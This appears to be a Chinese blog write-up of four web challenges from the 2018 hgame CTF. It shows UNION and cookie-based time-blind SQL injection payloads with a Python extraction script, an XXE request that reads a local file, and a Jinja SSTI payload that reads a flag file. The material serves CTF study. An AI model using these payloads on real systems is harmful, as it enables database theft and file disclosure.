V0W's Blog

2018-hgame CTF week3

字数统计: 840阅读时长: 4 min
2018/01/15 Share

送分的sqli

这题没有任何过滤什么的,真的是很简单了。

1
1 and 1=-1 union select 1,schema_name from information_schema.schemata

查看库名,得:

1
2
3
1    information_schema
1 test
1 week3_sqliiii2
1
?id=1 and 1=-1 union select 1,table_name from information_schema.tables

查表,得:

1
2
3
4
。。。
1 test
1 f111aa4g
1 users

猜测在f111aa4g里:

查列名

1
?id=1 and 1=-1 union select 1,column_name from information_schema.columns

1
2
1    f111aaaggg_w3
1 username

猜测在f111aaaggg_w3里。
最后payload:

1
http://118.25.18.223:10068/?id=-1 union select 1,f111aaaggg_w3 from  f111aa4g

得到flag。

正常的SQLi

描述
出题人终于换端口了 我们来一发正常的SQLi吧
URL http://123.206.203.108:10010/normalSQLi/index.php
基准分数 250
当前分数 250
完成人数 39

表哥提醒:cookie时间盲注
抓包发现cookie值:

1
Cookie: name=Z3Vlc3Q%3D; isadmin=0

有源码泄露:http://123.206.203.108:10010/normalSQLi/index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
.....

$username = base64_decode($_COOKIE['name']);

.....

$sql = "select * from user where username = '{$username}'";
$re = mysqli_query($conn, $sql);
$rs = mysqli_fetch_array($re);

// echo $rs['flag'];
echo $username . '<br/>';
echo "因为出题人太懒了,所以现在没有任何功能";

.....

cookie的name是注入点,base64编码。

用的是表哥的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import base64
import urllib
url = "http://123.206.203.108:10010/normalSQLi/index.php"
flag = ""
for i in range(1,1000):
for j in range(33,127):
payload = "admin' or if((ascii(substr((select flag from user limit 2,1),%s,1))=%s),sleep(3),false)#"%(i,j)
cookie = {
"name":urllib.quote(base64.b64encode(payload))
}
try:
r = requests.get(url=url,cookies=cookie,timeout=2.5)
except:
flag +=chr(j)
print flag
break

flag: hgame{fLag_1s_h4re…..}

书店

XXE xml实体注入

ENTITY 实体
在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。
XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。

ENTITY的定义语法:

1
2
3
<!DOCTYPE  文件名 [
<!ENTITY 实体名 "实体内容">
]>

大概看了一些文档,理解了一下,尝试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /hgame/selectBook?type=dz HTTP/1.1
Host: 120.79.208.173:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/xml
Referer: http://120.79.208.173:8080/hgame/index.jsp
Cookie: JSESSIONID=08CEBA8F1F775DC3EA34F98711AB9D89
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

<!DOCTYPE netspi [<!ELEMENT methodname ANY><!ENTITY xxe SYSTEM "file:///a/b/flag.txt">]>
<root>
<search>type sth!</search>
<value>&xxe;</value>
</root>

但是无果。可能还是没太弄懂这个姿势。

ngc’s blog

表哥提示STTI,于是了解了一些文档

‘.class 可以访问到字符串的类型对象

使用 mro(Method Resolution Order) 直接获得对象的继承链, python用这个方法来确定对象方法解析的顺序

subclasses()来获得当前环境下能够访问的所有对象.

接下来的做法有点像sql注入(查表)

1
''.__class__
1
2
Oops! That page doesn't exist.
http://111.230.105.104:5000/<type 'str'>
1
''.__class__.__mro__
1
2
Oops! That page doesn't exist.
http://111.230.105.104:5000/(<type 'str'>, <type 'basestring'>, <type 'object'>)

mark
找到file,
然后读取:

1
{{''.__class__.__mro__[2].__subclasses__()[40]('./flag', 'r').read()}}

flag: hgame{skdvhdsbvadvnjVADBVS}

CATALOG
  1. 1. 送分的sqli
  2. 2. 正常的SQLi
  3. 3. 书店
  4. 4. ngc’s blog